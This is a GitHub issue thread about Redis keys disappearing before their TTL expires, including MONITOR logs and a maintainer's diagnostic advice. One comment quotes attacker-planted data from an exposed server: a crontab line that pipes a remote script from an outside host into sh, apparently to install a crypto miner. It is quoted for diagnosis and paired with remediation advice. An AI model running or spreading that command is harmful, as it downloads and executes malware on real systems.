Describe the bug

We have observed on our redis instance key got removed even application not triggering any delete and also key has enough TTL. 

127.0.0.1:6379[1]> ttl  “zc:k:07f_11ee7dd9a943f78bd3e86265eed6afb4_product_all_rules_2_mobile_1_1_2_3_4_5_8”
(integer) 86255
127.0.0.1:6379[1]> ttl  “zc:k:07f_11ee7dd9a943f78bd3e86265eed6afb4_product_all_rules_2_mobile_1_1_2_3_4_5_8"
(integer) 86250
127.0.0.1:6379[1]> ttl  “zc:k:07f_11ee7dd9a943f78bd3e86265eed6afb4_product_all_rules_2_mobile_1_1_2_3_4_5_8”
(integer) 86243
127.0.0.1:6379[1]> ttl  “zc:k:07f_11ee7dd9a943f78bd3e86265eed6afb4_product_all_rules_2_mobile_1_1_2_3_4_5_8"
(integer) 86237
127.0.0.1:6379[1]> ttl  “zc:k:07f_11ee7dd9a943f78bd3e86265eed6afb4_product_all_rules_2_mobile_1_1_2_3_4_5_8”
(integer) 86231
127.0.0.1:6379[1]> ttl  “zc:k:07f_11ee7dd9a943f78bd3e86265eed6afb4_product_all_rules_2_mobile_1_1_2_3_4_5_8"
(integer) 86226
127.0.0.1:6379[1]> ttl  “zc:k:07f_11ee7dd9a943f78bd3e86265eed6afb4_product_all_rules_2_mobile_1_1_2_3_4_5_8”
(integer) -2
127.0.0.1:6379[1]> ttl  “zc:k:07f_11ee7dd9a943f78bd3e86265eed6afb4_product_all_rules_2_mobile_1_1_2_3_4_5_8"
(integer) 86400
127.0.0.1:6379[1]>

To reproduce

No exact steps we have to reproduce.

Expected behavior

From application side setting TTL of 24h. Key should not be deleted before that.

Additional information

Not sure if other keys are also getting deleted. But when this key is not there we see relevant sql DB queries are increasing. Here i attached monitoring screen shot for a key and we see it's not there after few secs and new key got created again with updated TTL.

Comment From: bhaveshrenpara

Attached current config of redis server. Redis_config_aahr_abhr.txt

Comment From: oranagra

the only candidates i can think of for the key to disappear are eviction, DEL/UNLINK/RENAME/MOVE, etc. from the config file you uploaded i see maxmemory is not defined, any chance it is set later by a CONFIG SET command?

if you can reproduce this, maybe enabling keyspace notification will reveal what happened to that key.

Comment From: bhaveshrenpara

Hi,

In monitoring we do not see any such command been executed on these keys. But still keys are getting removed. In bleow monitor output we can see high expiry was set but we see at short interval again key we are creating. There is no delete command we see in between. 

"t" "07f_APPLICATION_CACHE" "m" "1606994953" "i" "0"
1606994953.671130 [1 195.233.7.213:40690] "expire" "zc:k:07f_303003e12a806d809a98e40e00c50a49_d2677a009371e1063d0456f634ce65a3" "86400"
1606994953.671641 [1 195.233.7.213:40690] "hget" "zc:k:07f_303003e12a806d809a98e40e00c50a49_d2677a009371e1063d0456f634ce65a3" "d"
1606995004.540890 [1 195.233.7.223:58324] "hget" "zc:k:07f_303003e12a806d809a98e40e00c50a49_d2677a009371e1063d0456f634ce65a3" "d"
1606995054.076667 [1 195.233.7.221:40680] "hget" "zc:k:07f_303003e12a806d809a98e40e00c50a49_d2677a009371e1063d0456f634ce65a3" "d"
1606995054.089001 [1 195.233.7.221:40680] "hget" "zc:k:07f_303003e12a806d809a98e40e00c50a49_d2677a009371e1063d0456f634ce65a3" "t"
1606995054.092210 [1 195.233.7.221:40680] "hmset" "zc:k:07f_303003e12a806d809a98e40e00c50a49_d2677a009371e1063d0456f634ce65a3" "d"

Comment From: bhaveshrenpara

We see on servers we have THP is enabled. Could be responsible for this behaviour ?

Comment From: oranagra

THP can cause latency, but not bugs or misbehavior. MONITOR will only show user actions, if you'll enable keyspace notification and subscribe for them, you should be able to see other types of deletions (like eviction, expiration, and so on..)

Comment From: DetachHead

not sure if this helps but i had the same issue where keys with no ttl were being wiped. turns out our redis server was exposed and some crawler was wiping all our keys and replacing them with these:

127.0.0.1:6379> KEYS '*'
1) "backup2"
2) "backup4"
3) "backup3"
4) "backup1"
127.0.0.1:6379> GET backup2
"\n\n\n*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n"

which seems to be some sort of crypto miner

Comment From: oranagra

yeah, looks like someone was attempting to hack your system and run code on it via the crontab. i'd do config get dir and config get dbfilename, check if they succeeded to execute their code, in which case i'd wipe that system as being compromised.

regarding the original issue, i'm going to close it. i assume it was either due to eviction, or due to some commands being run (DEL, FLUSHDB, etc). it would have been possible to prove that using redis-cli monitor or with a look at INFO commandstats, but it seems the opener moved along.

Comment From: bhaveshrenpara

This issue we had due to a wrong build functionality which was flushing the whole DB when it gets triggered.

Comment From: KaranMane027

@bhaveshrenpara Can you tell me more about how you resolved this issue ?

Comment From: bhaveshrenpara

In our case it was application issue. As part of an API call to application redis cache was getting flushed. In your case as well you can observe keyspace size in garfana if all of sudden there is decrease in keyspace size. Usually redis don’t delete any key unless eviction is configured.

On Fri 16. Feb 2024 at 11:35, KaranMane027 @.***> wrote:

@bhaveshrenpara https://github.com/bhaveshrenpara Can you tell me more about how you resolved this issue ?

— Reply to this email directly, view it on GitHub https://github.com/redis/redis/issues/8123#issuecomment-1948133008, or unsubscribe https://github.com/notifications/unsubscribe-auth/AHPFC675EOPCU6SUO27GFJTYT4Y75AVCNFSM4UKYV4BKU5DIOJSWCZC7NNSXTN2JONZXKZKDN5WW2ZLOOQ5TCOJUHAYTGMZQGA4A . You are receiving this because you were mentioned.Message ID: @.***>